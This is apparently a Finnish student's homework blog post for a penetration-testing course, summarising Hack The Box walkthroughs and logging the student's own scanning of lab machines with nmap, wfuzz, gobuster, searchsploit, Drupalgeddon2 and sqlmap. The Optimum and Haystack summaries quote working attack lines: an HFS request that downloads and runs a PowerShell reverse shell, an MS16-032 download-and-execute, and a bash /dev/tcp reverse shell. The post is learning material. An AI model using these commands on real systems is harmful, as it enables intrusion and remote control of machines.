Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/
walktrough artikkeleita – https://0xdf.gitlab.io/
- HTB: Laboratory – https://0xdf.gitlab.io/2021/04/17/htb-laboratory.html
Tässä läpikäynnissä ja Linux koneessa on tarkoitus hyväksikäyttää GitLabin instanssia.
Tiedustelu – nmap, wfuzz, gobuster, searchsploit
- avoimet portit 22/tcp ssh, 80/tcp http, 443/tcp https
- sivustot laboratory.htb + git.laboratory.htb, GitLab versio 12.8.1
- searchsploit tunnistaa arbitrary file read haavoittuvuuden GitLab versiossa 12.9
- haavoittuvuus (CVE-2020-10977) “GitLab EE/CE 8.5 to 12.9 is vulnerable to a an path traversal when moving an issue between projects.” https://nvd.nist.gov/vuln/detail/CVE-2020-10977
Weaponization
- hyötykuorman (payload) rakentaminen, samassa GitLab versiossa 12.8.1 (Docker)
- sama secret_key_base /etc/gitlab/gitlab/rb :ssa kuin Laboratoryssa (avain käytetään allekirjoittamiseen siten, että käyttäjä ei voi tehdä muutoksia)
- käytetty https://hackerone.com/reports/827052
Delivery
- Python webserver + payloadin lähettäminen curlilla
Exploit
- GitLab-rails console -> listaa käyttäjiä ja admin-käyttäjiä
- dexter ainoa admin Laboratoryssa
- salasanan nollaus
- kirjautuminen git-laboratory.htb :hen dexterina -> hanki ssh-avain
- hanki root
2. HTB: Optimum – https://0xdf.gitlab.io/2021/03/17/htb-optimum.html
Koodin etäsuorittamisen haavoittuvuus HttpFileServer ohjelmistossa Windows koneella.
Tiedustelu – nmap, searchsploit
- 80/tcp http -> HttpFileServer 2.3
- haavoittuvuus CVE-2014-6287 “The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs via a %00 sequence in a search action.”
- searchsploit -x windows/webapps/49125.py
Shell as user
- Powershell skripti – Invoke-PowerShellTcpOneLine.ps1
- Python web palvelin + käynti http://10.10.10.8/?search=%00{.exec|C%3a\Windows\System32\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString(‘http%3a//10.10.14.10/rev.ps1’).}
- lataa tiedoston rev.ps1 -> sudo rlwrap nc -lnvp 443
- grab user.txt.txt
Shell as root
- etsii escalation pathejä winPEAS.exe -> 64-bit Windows Server 2012 R2
- etsii haavoittuvuuksia Sherlock :lla (PS script) -> “Appears Vulnerable”, MS16-032, MS16-034, and MS16-135.
- 32-bit istunto pitää muuttaa 64-bitiksi jotta haavoittuvuudet saa exploitattua
GET /?search=%00{.exec|C%3a\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString('http%3a//10.10.14.10/rev.ps1').} HTTP/1.1
Host: 10.10.10.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: HFS_SID=0.916518518235534
Upgrade-Insecure-Requests: 1
- Exploit skriptillä ja pienellä lisäyksellä Invoke-MS16032 -Command “iex(New-Object Net.WebClient).DownloadString(‘http://10.10.14.10/rev.ps1’)”
- lataa ja käynnistä exploitti IEX(New-Object Net.WebClient).downloadstring(‘http://10.10.14.10/Invoke-MS16032.ps1’)
- lataa rev.ps1 -> sudo nc -lnvp 443
- grab root.txt
3. HTB: Haystack – https://0xdf.gitlab.io/2019/11/02/htb-haystack.html
ElasticSearch API + Kibana exploitteja
- nmap
- 2 web palvelinta nginx 1.12.2 80/tcp http, 9200/tcp wap-wsp + 22/tcp SSH
- gobuster (web directory brute force)
- ei tuloksia
- sivusto 80 vain kuva -> strings -n 20 needle.jpg -> base64 koodattu “the needle in the haystack is ‘key'” (=clave)
- sivusto 9200 -> ElasticSearch API
- indeksien listaus curl http://10.10.10.115:9200/_cat/indices?v, joista etsitään “clave” -> indeksistä “quotes” löytyy base64 koodatut tunnukset
- SSH -> user.txt
- Localhostia kuuntelee myös palvelu portissa 5601 -> ssh port forwarding: ssh> -L 5601:localhost:5601
- selaimessa kyseessä Kibana instanssi
- haavoittuvuus CVE-2018-17246 “Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.”
- reverse shell Haystackista -> kibana -> pääsy lukemaan logstash config tiedostoja
- Ejecutar comando: bash -c ‘bash -i >& /dev/tcp/10.10.14.8/443 0>&1’
- root.txt
walktrough videoita –https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos
- Mirai – linkki
- nmap – avoimia portteja 22/tcp ssh, 53/tcp dns, 80/tcp http
- http-title: website blocked
- käynti sivustolla ei näyttää blockedia, samoin curl
- burp näyttää myös 404 not found
- host flagin vaihto johonkin muuhun (esim. test) -> näyttää website blocked sekä DNS nimen pi.hole
- host = pi.hole -> 301 moved permanently, uudelleenohjaa /admin/
- käynti sivustolla näyttää administrator sivun, eri default tunnusten kokeilu ei onnistu (github paljastaa, että käyttää random salasanaa)
- DNS nimi viittaa siihen, että kyseessä on raspberry pi -laite
- SSH raspberry pi laitteen default tunnuksilla onnistuu
- user.txt
- sudo -l paljastaa, että käyttäjä pi voi ajaa kaikki komennot roottina
- root.txt tiedosto paljastuu kadonneeksi, mutta varmuuskopio saattaa löytyä usb:lla
- /media/usbstick näyttää, että tiedosto on vahingossa poistettu
- SSH raspberry pi laitteen default tunnuksilla onnistuu
- Poistetun tiedoston palauttaminen
- strings /dev/sdb
- grep + regex
- root.txt flag löytyi, mutta itse tiedoston palauttaminen epäonnistui
2. Bank – linkki
- nmap – avoimia portteja 22/tcp ssh, 80/tcp http apache, 53/tcp dns
- DNS
- nslookup -> bank.htb
- dnsrecon
- dig zone transfer enabloitu bank.htb :lla -> lisätty dns palvelin /etc/resolv.conf
- Web
- surffailu ip:llä vie Apachen default sivuun, mutta bank.htb vie eri sivuun
- burp uudelleenohjaus 302 found -> login.php
- DirSearch paljastaa login.php, index.php, support.php + /balance-transfer/
- (todennäköisesti tahaton haava: burpilla pystyy muuttamaan 302 found rerouten 200 ok :ksi jolloin pääsee suoraan support.php sivulle)
- surffaillaan bank.htb/balance-transfer/ -> pino enkryptattuja tiedostoja
- wget :lla ladataan tiedostot sekä sortataan, jotta löydetään tiedosto, jossa kryptaus on epäonnistunut -> käyttäjän tunnukset
- päästään kirjautumaan dashboardiin ja support sivulla pystyy lataamaan kuvia, jota voi hyödyntää saadaakseen code executionin ja reverse shelliin
- eskaloituminen rootiksi ei onnistu mysql:n, ssh:n tai /etc/passwd:in kautta
- Privesc enumeration script
- LinEnum.sh – write-oikeudet /etc/passwd tiedostoon (todennäköisesti tahaton) -> rootin salasanaa voi vaihtaa jolloin pääse rootiksi vaikka ssh:lla
- linuxprivchecker.py – löytyy /var/htb/bin/emergency joka on rootin omistama -> ajamalla antaa rootin
3. Sunday – linkki
- nmap avoimet portit 79/tcp finger Sun Solaris, 111/tcp rpcbind
- laajempi nmap skannaus (kaikki portit) + kohdennettu näyttää lisäksi 22022/tcp ssh
- listataan finger
- metasploit -> kertoo käyttäjät
- finger-user-enum (perl skripti kloonattu githubista) kertoo enemmän
- löytyy kiinnostavia käyttäjiä sammy ja sunny
- sunny käyttäjäksi pääsee ssh:lla arvaamalla salasana (voi käyttää myös vaikka patator tai hydra (joka ei toimi koska liian vanha palvelu))
- sunnylla on sudo oikeus /root/troll
- löytyy myös shadow.backup josta saamme poimittua ja hashcatilla selvitettyä sammy käyttäjän salasanaa
- sammy käyttäjällä sudo oikeus wget:iin, jonka avulla voi luoda ja ladata bash skripti troll, jonka sunny voi ajaa -> pääsy rootiksi ja root.txt
a) Etsi ja kokeile 5 uutta työkalua jostain lukemastasi/katsomastasi läpikävelystä.
wfuzz – a web application bruteforcer
Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc), bruteforce Forms parameters (User/Password), Fuzzing,etc.
https://tools.kali.org/web-applications/wfuzz
Tutkin ensin mitä se tekee ja mitä toimintoja siinä on. Testaamiseen tarvitsen targetin ja payloadin (tai encoder/iterator/printer/script).

wfuzzin mukana tulee jotain valmiita wordlistoja, joita hyödynnän.

Käynnistin python testipalvelimen ja testasin wfuzzia sitä vastaan. Parametri -hc 404 filtteröi tuloksista 404 not found vastaukset. Tuloksia ei odotetusti löydy, sillä testipalvelimella ei pyöri mitään.
$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://localhost:8000/FUZZ

wfuzz vaikuttaisi olevan aika monimutkainen työkalu käyttää, mutta kunhan tajuaa miten toimii, voi olla erittäin hyödyllinen.
gobuster
Gobuster on samankaltainen kuin DirBuster mutta kirjoitettu Go-kielellä. Näillä voi tehdä esim brute force hyökkäys hakemistoihin.
Gobuster is a tool used to brute-force:
– URIs (directories and files) in web sites
– DNS subdomains (with wildcard support)
– Virtual Host names on target web servers
– Open Amazon S3 buckets
https://github.com/OJ/gobustergobus
Tämä ei löytynyt ennestään Kalilla, joten asennan sen ensin.
$ sudo apt install gobuster
Kokeilen taas gobusteria Python testipalvelinta vastaan ja käytän taas wordlistaa. Komento dir lsitaa hakemistot/tiedostot. Taaskaan ei odotetusti löytynyt mitään kiinnostavaa.
$ gobuster dir -u http://localhost:8000 -w /usr/share/wordlists/dirb/common.txt

searchsploit
SearchSploit utility, which will allow you to search through exploits, shellcodes and papers (if installed) using one or more terms.
https://github.com/offensive-security/exploitdb
Searchsploitin manuaali löytyy sivulla https://www.exploit-db.com/searchsploit
HTB:n Laboratory koneessa ylläolevassa walktroughssa searchsploitin avulla tunnistettiin gitlab versio 12 haavoittuvuudet.
Alla löytyy searchsploitin löytämät haavoittuvuudet Apache 2.4:ssa.

burp
Burp Suite on monipuolinen työkalu pentestaukseen, sitä voi hyödyntää yksin tai muiden työkalujen kanssa. Burpia voi käyttää skannaamiseen tai hyökkäykseen. Burpin avulla voi esim siepata ja modifioida HTTP kyselyitä ja vastauksia. Hyviä tietoja Burpista ja sen käytöstä löysin sivulla https://portswigger.net/burp/documentation/desktop/penetration-testing
En kuitenkaan keksinyt mitään tapaa testata Burpia, ja se myös vaikutti todella monimutkaiselta, vaikkakin sitä käytettiin jokaisessa walktrough videossa jonka katsoin, eli olisi varmaan erittäin hyödyllinen. Tässä kotitehtävää tehdessäni ei riittänyt aika Burpsuiteen perehtymiseen, joten joudun siirtämän sen myöhemmäksi.
Sherlock -> Watson
Tutkiselin ensin Sherlock haavoittuvuusskanneria (https://github.com/rasta-mouse/Sherlock), joka on Windowsille toimiva Powershell skripti joka etsii puuttuvia ohjelmistopatcheja ja niiden kautta Privilege Escalation haavoittuvuuksia. Sherlock on näköjään vanhentunut ja sen sijaan tulisi käyttää Watsonia https://github.com/rasta-mouse/Watson. Watson skannaa Windowsia ja listaa puuttuvia KB:ta sekä niihin liittyviä mahdollisia Privilege Escalation haavoittuvuuksia.
b) Tiedustele ja analysoi 5 htb konetta perusteellisesti. Käytä ainakin nmap-porttiskanneria. Halutessasi voit käyttää lisäksi muita työkaluja, kuten eyewitness, nikto, wpscan, gobuster, gvm (openvas), msfconsole, ffuf, zaproxy, mitmproxy, sqlmap, searchsploit, exploitdb..
HTB: Spectra

Käytän walktrough videoiden tekijän nmap komentoa, sillä se vaikutti hyvältä.
$ nmap -sC -sV -oA spectra 10.10.10.229

Tästä tiedetään, että avoimia portteja ja palveluita on SSH 22, HTTP 80 jota kuuntelee nginx, MYSQL 3306 josta löytyy kaikenlaisia ssl ja tls erroreita sekä Blackice-icecap? 8081. Ensisilmäyksellä veikkaan, että haavoittuvuuksia löytyy mysql:ssä. Tutkin kuitenkin ensimmäisenä tuota blackice-icecap palvelua, sillä en ole sellaisesta ikinä kuullutkaan.
Blackice-icecap – googlettamalla löytyi vaihtoehtoja siitä, että nmap saattaa tulkita palvelun väärin pelkästään sen kuunteleman portin perusteella, tai kyseessä voi olla ICEcap manager, joka on BlackICE IDS Agents and Sentries hallintakonsoli ja kuuntelee porttia 8081 (https://www.exploit-db.com/exploits/19922). hallintakonsoliin pystyy mahdollisesti kirjautumaan default tunnuksilla, ellei niitä ole vaihdettu. Ensin pitää kuitenkin löytää login sivu…
Sivusto

Molemmat linkit antavat “Server not found”, urlit ovat http://spectra.htb/main/index.php ja http://spectra.htb/testing/index.php.
Portti 8081 taas vie hello world sivustoon, joka myös näkyy nmap tuloksissa.

Portin 3306 sivusto on kiinnostava ja todennäköisesti tämän koneen päämäärä, mihin myös nmap tulos “unauthorized” viittaisi.

wfuzz kertoo saman minkä sivustolla käynti, eli, että löytyy “main” ja “testing”.

Testaan mitä eyewitness sanoo siitä. Ei kerro paljon.

Kokeilin myös niktoa, joka on erittäin hidas, eikä antanut mitään tietoa. En muutenkaan oikein tajunnut mitä sen pitäisi tehdä.

Searchsploit kertoo joku mahdollinen exploitti, ssh ei ole näköjään hyvä kohde mutta nginx voisi olla.

Mutta searchsploit ei kuitenkaan anna paljon tietoa haavoittuvuuden hyväksikäyttämisestä.

Yritin myös käyttää tässä Burpsuitea, mutta en saanut sitä millään toimimaan. se ilmoitti haluavansa käyttää chromiumia, jossa on valmiiksi Burpin vaatimat asetukset, mutta en päässyt surffaamaan sivuille eikä näin ollen myöskään tutkimaan mitään liikennettä.
HTB: Delivery
Aloitan nmap skannauksella

Joka kertoo, että SSH 22 ja HTTP 80 ovat avoimina, käyttöjärjestelmä Debian 10 “buster”.
Ja tutkin sivustoa. Tässä eyewitness ei onnistunut oikein screenshotin kanssa…

wfuzz taas antaa tässä hyviä lisätietoja, jotka myös löytyy surffaamaalla welcome sivustolla. 301 on moved permanently, eli tästä voisi löytyä jotain.

Surffaamalla löytyy urlit http://helpdesk.delivery.htb/ ja http://delivery.htb:8065/
Teen uuden nmap skannauksen kaikista porteista (yllättävän nopea) ja tarkennan vielä portin 8065. En kuitenkaan saa selville mikä palvelu kuuntelee kyseistä porttia.

Googlettamalla kuitenkin selviää, että kyseinen portti saattaa liittyä nginx:ään ja mattermostiin, josta löytyy myös viittauksia sivustolla.

Tässä koneessa halutaan todennäköisesti löytää joku registered user, jota voimme hyväksikäyttää päästääksemme mattermost palvelimeen.
Kirjautumissivu löytyy aika helposti ja tässä voi myös luoda itselleen tilin.


Tässä on mielestäni hyvä kohde etsiä haavoittuvuuksia ja vaikka kokeilla injektionia.
HTB: ScriptKiddie
Aloitan nmapilla, joka kertoo, että SSH 22 ja 5000 http palvelulla Werkzeug ovat avoimina. Käyttöjärjestelmä Ubuntu, mahdollisesti Focal Fossa 20.04.

Laitan vielä allports skannauksen varmuudeksi pyörimään (tällä kertaa kesti todella kauan). Kun nmapin allports skannaus vihdoinkin on valmis, se ei ole löytänyt mitään uutta.
Werkzeug ei ole ennestään tuttu, joten etsin siitä tietoa. Kyseessä on CGI kirjasto ja se voi toimia myös yksinkertaisena web palvelimena.
Sillä välin tutkin sivustoa.

Eyewitness ei kerro mitään uutta tai yllättävää.

Eikä myöskään wfuzz tai gobuster

Tästä en suoraan keksi miten edetä, veikkaisin, että murtautuminen tulisi tapahtua Werkzeugissa, sillä muuten ainoastaan SSH on käytössä ja versio tuore.
HTB: Armageddon
Tutkin uudestaan tätä samaa konetta, jota olen jo aikaisemmassa kotiläksyssä tutkinut. Tämä koska HTB:lla ei ole montaa ilmaista “easy” konetta.
Aloitan taas nmapilla.

Ja tässä avoimet portit ovat SSH 22 ja HTTP 80, jota kuuntelee Apache. Käyttöjärjestelmä CentOS, versiosta en osaa tarkemmin sanoa, ei välttämättä ihan uusin. Muuta kiinnostavaa on varmaankin hakemistot, niistä varmaan löytyy jotain ja lisäksi Drupal 7, tämä on vieras, joten siitä etsin ensin tietoja.
Armageddonissa löytyy kirjautumissivu, jota voisi todennäköisimmin jotenkin hyödyntää.

Gobuster löytää tässä joukko hakemistoja, joista osa voisi tutkia tarkemmin.

wfuzz vahvistaa sen

Searchsploit löytää kyseisellä SSH-versiolla pari exploittia.

Apachesta löytyy myös muutama exploitti, sekä niihin skriptit, joten kokeilen niitä.

en oikein saanut mitään niistä toimimaan, eli joko näitä haavoittuvuuksia ei ole tai en osannut ajaa scriptit oikeilla argumenteillä.
Tutkin gobusterin löytämiä hakemistoja tarkemmin

Näiden joukossa löytyy password tiedosto, joka kertoo miten salasanoja salataan, eli siitä todennäköisesti olisi hyötyä. Myös scripteissä löytyy password hash niminen skripti.

c) Nimeä 1-3 walktrough:ta, joissa tunkeudutaan samantapaisiin palveluihin, joita käsittelit kohdassa b. Mitä työkaluja hyökkääjät käyttivät? Kokeile työkaluja (1-3 työkalua) ensin omassa ympäristössä, sitten HTB:n maalikoneita vastaan, raportoi ja arvioi tulokset.
Täältä https://www.hackingarticles.in/enubox-mattermost-vulnhub-walkthrough/ löytyy walktrough Vulnhubin koneesta, jossa pyörii myös mattermost. IP osoitteiden skannaukseen käytetään tässä netdiscover. Koneelle murtaudutaan TFTP kautta.
Huvikseni testasin netdiscoveria (vaikka olen jossain käyttänyt sitä aikaisemmin). Todella hidas, en jaksanut odottaa sitä loppuun.

Koneissa HTB: Bastard https://0xdf.gitlab.io/2019/03/12/htb-bastard.html ja HTB: Hawk https://0xdf.gitlab.io/2018/11/30/htb-hawk.html löytyy Drupal 7 ja siihen liittyvä haavoittuvuus. Bastard on Windows kone ja Hawk Linux, joten halusin hieman vertailla niitä. Molemmilla esiintyy Drupalin kirjautumissivu, johon murtaudutaan, joten se ainakin eroaa Armageddonista.
Työkaluja:
Drupalgeddon 2 https://github.com/dreadlocked/Drupalgeddon2 – testaa Drupalgeddon2 exploittia. Voisi Armageddonin nimen perusteella olla sopiva työkalu siihen.
Testasin työkalun ensin localhostilla. Ensin kloonasin sen GitHubista. Skriptin ajaminen ei heti onnistunut, mutta GitHubista löytyi siihen ratkaisu, piti ladata puuttuvat dependencies. Localhostilla työkalu ei kertonut oikein mitään, sillä portti 80 on kiinni.
$ git clone https://github.com/dreadlocked/Drupalgeddon2.git
$ sudo gem install highline
./drupalgeddon2.rb http://localhost/drupal-8/


Armageddonilla ajaminen näyttää lupaavalta.

Droopescan https://github.com/droope/droopescan testaa haavoittuvuuksia, liittyy käsittääkseeni juuri Drupaliin. Tämän kohdalla samat toimenpiteet kuin drupalgeddon2. En saanut kuitenkaan työkalua toimimaan localhostilla, asennus näköjään onnistui mutta en ymmärtänyt miten työkalun saa käyntiin. Tästä löytyi jotain apua https://github.com/droope/droopescan/issues/51
$ git clone https://github.com/droope/droopescan.git
$ cd droopescan
$ pip install -r requirements.txt
$ python3 droopescan scan --help


Vulnhubin Writeup koneessa https://0x00sec.org/t/vulnhub-boredhackerblog-cloud-av-writeup-walkthrough/20360 esiintyy myös Werkzeug. Tämän koneen sivustolla on tarkoitus kirjautua kutsukoodilla, ja sen voi saada sieppaamalla http liikenne. Ei oikein selvinnyt mitä työkalua siihen käytetään (ehkä wireshark?), mutta sen lisäksi tässä läpikäynnissä käytetään ainakin SQLmap, jonka avulla voi etsiä haavoittuuvuuksia SQL injektionille ja vastaavalle. SQLMap https://github.com/sqlmapproject/sqlmap
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
$ python sqlmap.py -h # list of options


Työkalun ajaminen localhostilla ei onnistu, taas todennäköisin syy on suljettu http portti.
Seuraavaksi testaan työkalua ScriptKiddiella. Argumentti –forms testaa jos urlilla olevat lomakkeet ovat haavoittuvia injektionille. Työkalu vaatii aika paljon inputtia, eli siten myös syvempää osaamista.




One thought on “5. walkthrough”